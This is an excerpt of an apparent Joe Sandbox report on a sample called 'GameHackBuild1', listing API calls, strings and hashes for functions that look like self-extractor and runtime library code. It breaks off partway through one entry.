Strings

rtmp%d, xrefs: 00A0950F

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: 9570815035ceac5e767a9848948d759e13d0f454d9d95b69e15b0c9871ddee8b
Instruction ID: 34a3a269319df9d3c007a5bab5eb6bd85b7fa5682995d2ff09ee38780b58eb81
Opcode Fuzzy Hash: 9570815035ceac5e767a9848948d759e13d0f454d9d95b69e15b0c9871ddee8b
Instruction Fuzzy Hash: 1741407190025C66DF20EBA0ED85EEF737CAF55380F0444E5B649E3092EB759B89CB64

Function 00A18E62 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 00A18F38
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00A18F59
CreateStreamOnHGlobal.COMBASE(00000000,00000001,00000000), ref: 00A18F80

Strings

</html>, xrefs: 00A18F0A
<html>, xrefs: 00A18EA7, 00A18EE0
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00A18EB2
utf-8"></head>, xrefs: 00A18EBD

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Global$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4094277203-4209811716
Opcode ID: d25331793fdfbe5a17d319d29a9c837025694ad6494ff48bced17f201141ee39
Instruction ID: 269ade5a0a28211d76ace810fd59e4374e1a07b7596a0e3ab0b11c026daf892f
Opcode Fuzzy Hash: d25331793fdfbe5a17d319d29a9c837025694ad6494ff48bced17f201141ee39
Instruction Fuzzy Hash: 3B313B325083117FDB20AB74AC02FEF7769EF55760F140529F901961D1EF68DA8AC3A5

Function 00A10A8A Relevance: 12.1, APIs: 8, Instructions: 115timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00A10A9D

Part of subcall function 00A0ACF5: GetVersionExW.KERNEL32(?), ref: 00A0AD1A

FileTimeToLocalFileTime.KERNEL32(?,00000001,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00A10AC0
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00A10AD2
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00A10AE3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00A10AF3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00A10B03
FileTimeToSystemTime.KERNEL32(?,?), ref: 00A10B3D
__aullrem.LIBCMT ref: 00A10BCB

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 10cf66cd0ffadb48477ba73bb94512288a277aa47772aa6388aed2e523fa0b57
Instruction ID: e92de6340d259152e7267c516b1208a6766444f7c123d1fbd9f2f3ffba7403f3
Opcode Fuzzy Hash: 10cf66cd0ffadb48477ba73bb94512288a277aa47772aa6388aed2e523fa0b57
Instruction Fuzzy Hash: 714129B24083059FC714DFA5C8809ABF7F8FB88715F004A2EF59692650E779E589CB51

Function 00A2EE2D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00A2F5A2,?,00000000,?,00000000,00000000), ref: 00A2EE6F
__fassign.LIBCMT ref: 00A2EEEA
__fassign.LIBCMT ref: 00A2EF05
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00A2EF2B
WriteFile.KERNEL32(?,?,00000000,00A2F5A2,00000000,?,?,?,?,?,?,?,?,?,00A2F5A2,?), ref: 00A2EF4A
WriteFile.KERNEL32(?,?,00000001,00A2F5A2,00000000,?,?,?,?,?,?,?,?,?,00A2F5A2,?), ref: 00A2EF83

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: df412ea30a2c94b1bf4908197daa474b7563f67bb0497e092b36016c73c3cf3b
Instruction ID: 3e39b19d2343beefccd5aa951baf1fb7ad242511f98f369f5311aa6b41c5beab
Opcode Fuzzy Hash: df412ea30a2c94b1bf4908197daa474b7563f67bb0497e092b36016c73c3cf3b
Instruction Fuzzy Hash: 1951D571A00219AFCB10CFACED45AEEBBF9EF09300F14452AF955E7291E7709981CB60

Function 00A1C534 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00A1C54A
_swprintf.LIBCMT ref: 00A1C57E

Part of subcall function 00A0400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A0401D

SetDlgItemTextW.USER32(?,00000066,00A4946A), ref: 00A1C59E
_wcschr.LIBVCRUNTIME ref: 00A1C5D1
EndDialog.USER32(?,00000001), ref: 00A1C6B2

Strings

%s%s%u, xrefs: 00A1C573

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: be600fc557b7e2fc8a5736be83ecb026f16fa0c929c1e5776de3cebd378e6907
Instruction ID: ce064db6ca4b0eac2cae1190e9f2d3e92de27017327c976a61f534cf0725a663
Opcode Fuzzy Hash: be600fc557b7e2fc8a5736be83ecb026f16fa0c929c1e5776de3cebd378e6907
Instruction Fuzzy Hash: 3641CFB5D4061CBADB26DBA0DC45FEA7BBDEF48311F0040A2E509E60A0E7759BC4CB50

Function 00A19635 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00A1964E
GetWindowRect.USER32(?,00000000), ref: 00A19693
ShowWindow.USER32(?,00000005,00000000), ref: 00A1972A
SetWindowTextW.USER32(?,00000000), ref: 00A19732
ShowWindow.USER32(00000000,00000005), ref: 00A19748

Strings

RarHtmlClassName, xrefs: 00A196F4

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 28f36b15296152dc4a42b9c9cab4c2cf1e505b15b83c30492b84ff61373fae9d
Instruction ID: 054c89b3e53163996d20bfef9c27b87552e66b2bb3b314b7a41444a5c4374aa2
Opcode Fuzzy Hash: 28f36b15296152dc4a42b9c9cab4c2cf1e505b15b83c30492b84ff61373fae9d
Instruction Fuzzy Hash: BA31E331008310EFDB119FA4DC4CBABBBB8EF49701F004669FE499A1A2CB74D995CB61

Function 00A2BFB5 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00A2BF79: _free.LIBCMT ref: 00A2BFA2

_free.LIBCMT ref: 00A2C003

Part of subcall function 00A284DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00A2BFA7,?,00000000,?,00000000,?,00A2BFCE,?,00000007,?,?,00A2C3CB,?), ref: 00A284F4
Part of subcall function 00A284DE: GetLastError.KERNEL32(?,?,00A2BFA7,?,00000000,?,00000000,?,00A2BFCE,?,00000007,?,?,00A2C3CB,?,?), ref: 00A28506

_free.LIBCMT ref: 00A2C00E
_free.LIBCMT ref: 00A2C019
_free.LIBCMT ref: 00A2C06D
_free.LIBCMT ref: 00A2C078
_free.LIBCMT ref: 00A2C083
_free.LIBCMT ref: 00A2C08E

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction ID: 82f47f2e7ab3d7be7f9301ee7ba848197e4b2ad9accb45021546e7577d6cea3c
Opcode Fuzzy Hash: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction Fuzzy Hash: 71117231551B24F7D620BBB4DF07FCBB79D6F04700F408874B79966452DB6AF9049AA0

Function 00A220CA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00A220C1,00A1FB12), ref: 00A220D8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00A220E6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00A220FF
SetLastError.KERNEL32(00000000,?,00A220C1,00A1FB12), ref: 00A22151

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 251c3423779c94ce26db82007171e097f018c4aed1f82949927f0c51127c394c
Instruction ID: 9e482880db0ec20ebb79df1fa849e7f996a0a72f868168898c0b8059f9d29bbb
Opcode Fuzzy Hash: 251c3423779c94ce26db82007171e097f018c4aed1f82949927f0c51127c394c
Instruction Fuzzy Hash: BC01F7332097717EBB68ABFD7C86B6A2B58EB127707210739FB10590E0EF558D129344

Function 00A1DC9A Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

KERNEL32.DLL, xrefs: 00A1DCB4
ReleaseSRWLockExclusive, xrefs: 00A1DCD9
AcquireSRWLockExclusive, xrefs: 00A1DCC9

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: b0be91df0a1479df9a1ecb22c6838cd4abfb7e7ed91fd963ab834ff3d721d36d
Instruction ID: 505f478e9cafd53f90ac73d1bce27b4d7ea79510c2430ca0399a1a4ed5c6602d
Opcode Fuzzy Hash: b0be91df0a1479df9a1ecb22c6838cd4abfb7e7ed91fd963ab834ff3d721d36d
Instruction Fuzzy Hash: 7A01C8727427226B8F249FF96D85AE723E4AA42356320593EF501D7240EAD1C8C2D6E0

Function 00A10CBE Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00A10D0D

Part of subcall function 00A0ACF5: GetVersionExW.KERNEL32(?), ref: 00A0AD1A

LocalFileTimeToFileTime.KERNEL32(?,00A10CB8), ref: 00A10D31
FileTimeToSystemTime.KERNEL32(?,?), ref: 00A10D47
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00A10D56
SystemTimeToFileTime.KERNEL32(?,00A10CB8), ref: 00A10D64
SystemTimeToFileTime.KERNEL32(?,?), ref: 00A10D72

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 88a2df393b8ec899d65a92e795d0281cb76d4b80515eac4b5d0e3bab5cb7c1ca
Instruction ID: c87ed3c798f7a9d9a49a6e7d7acb081447c0483e5a80c9231bf308b3a80081ad
Opcode Fuzzy Hash: 88a2df393b8ec899d65a92e795d0281cb76d4b80515eac4b5d0e3bab5cb7c1ca
Instruction Fuzzy Hash: DE31D27A90020AEBCF04DFE5D8859EFFBB8FF58700B04455AE955E3210E730AA85CB64

Function 00A191B0 Relevance: 9.1, APIs: 6, Instructions: 89COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00A191D4
_memcmp.LIBVCRUNTIME ref: 00A191EB

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: a5da34403a6834cd83e9e0e897c434d4e54dc27ee53f5a788544b92b42cdad3a
Instruction ID: dfd9406e1adaf403947c858250ffd67b9be63665508612cdb80864370ed18d43
Opcode Fuzzy Hash: a5da34403a6834cd83e9e0e897c434d4e54dc27ee53f5a788544b92b42cdad3a
Instruction Fuzzy Hash: 68216071A0420EBBEB059F24DD91FFB77ADAB54788F148528FC099B201E270EDC6D691

Function 00A28FA5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00A40F50,00A23E14,00A40F50,?,?,00A2388F,?,?,00A40F50), ref: 00A28FA9
_free.LIBCMT ref: 00A28FDC
_free.LIBCMT ref: 00A29004
SetLastError.KERNEL32(00000000,?,00A40F50), ref: 00A29011
SetLastError.KERNEL32(00000000,?,00A40F50), ref: 00A2901D
_abort.LIBCMT ref: 00A29023

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: afd198db45c5422fbc1a2a7ec460be585666380f09a89f6d1ed48f7c9901a2b6
Instruction ID: f1aec538fe24f2f71f3ca325bbeff44411fe3fe21c39bfafacdf07b842efc77a
Opcode Fuzzy Hash: afd198db45c5422fbc1a2a7ec460be585666380f09a89f6d1ed48f7c9901a2b6
Instruction Fuzzy Hash: 37F0C83650A6316BC615B37C7E0AF2B2A6A9BD1761F250134F515E2296EF28CD026115

Function 00A1D2E6 Relevance: 9.0, APIs: 6, Instructions: 43windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00A1D2F2
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00A1D30C
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00A1D31D
TranslateMessage.USER32(?), ref: 00A1D327
DispatchMessageW.USER32(?), ref: 00A1D331
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00A1D33C

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 9786fd8e297534231c776d34ede9e08d48ba51c782ef6ebb344ee05d2903f180
Instruction ID: b3374847ca0ab38d087a243fa344599c7eebd792b4d1974a27a08c1eb707c149
Opcode Fuzzy Hash: 9786fd8e297534231c776d34ede9e08d48ba51c782ef6ebb344ee05d2903f180
Instruction Fuzzy Hash: 3BF03C72A01519BBCF219BE1EC4CEDBBF7DEF52391F008012F606D6050D6758982C7A1

Function 00A1C40E Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 00A1C435

Part of subcall function 00A117AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00A0BB05,00000000,.exe,?,?,00000800,?,?,00A185DF,?), ref: 00A117C2

Strings

HIDE, xrefs: 00A1C474
<, xrefs: 00A1C41E
MAX, xrefs: 00A1C487
MIN, xrefs: 00A1C4A3

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: CompareString_wcschr
String ID: <$HIDE$MAX$MIN
API String ID: 2548945186-3358265660
Opcode ID: 86ab50af6db0b89d4a3eef2aeeb456abba8e24eb9003cfbf0f79c0520ecdfa12
Instruction ID: 7b5bad4f2b608d3f57fb3535759326bc1b5ebdc757ec78cd82328447a9f888b2
Opcode Fuzzy Hash: 86ab50af6db0b89d4a3eef2aeeb456abba8e24eb9003cfbf0f79c0520ecdfa12
Instruction Fuzzy Hash: 02319272944209AADF21DBA4DC45EEF77BDEF14360F0040A6FA05D6090EBB09FC4CA50

Function 00A1ADED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00A1ADFD
GetObjectW.GDI32(00000000,00000018,?), ref: 00A1AE22
DeleteObject.GDI32(00000000), ref: 00A1AE54
DeleteObject.GDI32(00000000), ref: 00A1AE77

Part of subcall function 00A19E1C: FindResourceW.KERNEL32(00A1AE4D,PNG,?,?,?,00A1AE4D,00000066), ref: 00A19E2E
Part of subcall function 00A19E1C: SizeofResource.KERNEL32(00000000,00000000,?,?,?,00A1AE4D,00000066), ref: 00A19E46
Part of subcall function 00A19E1C: LoadResource.KERNEL32(00000000,?,?,?,00A1AE4D,00000066), ref: 00A19E59
Part of subcall function 00A19E1C: LockResource.KERNEL32(00000000,?,?,?,00A1AE4D,00000066), ref: 00A19E64

Strings

], xrefs: 00A1AE2A

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID: ]
API String ID: 142272564-3352871620
Opcode ID: 9076b38d19a9e765c2acf133c8517e7221094217c84212ddd1f91d97ff1fbf0e
Instruction ID: 00836f947945a69276db2cbb95217949fa6e578dccc3fdbbea0841e8518f7e22
Opcode Fuzzy Hash: 9076b38d19a9e765c2acf133c8517e7221094217c84212ddd1f91d97ff1fbf0e
Instruction Fuzzy Hash: B0016236941621A7D710A7A4AC15BFF7B7AAF81B02F080020FD00A72D1CB728C66C2B2

Function 00A1CC90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00A0130B: GetDlgItem.USER32(00000000,00003021), ref: 00A0134F
Part of subcall function 00A0130B: SetWindowTextW.USER32(00000000,00A335B4), ref: 00A01365

EndDialog.USER32(?,00000001), ref: 00A1CCDB
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00A1CCF1
SetDlgItemTextW.USER32(?,00000066,?), ref: 00A1CD05
SetDlgItemTextW.USER32(?,00000068), ref: 00A1CD14

Strings

RENAMEDLG, xrefs: 00A1CCA8

Memory Dump Source

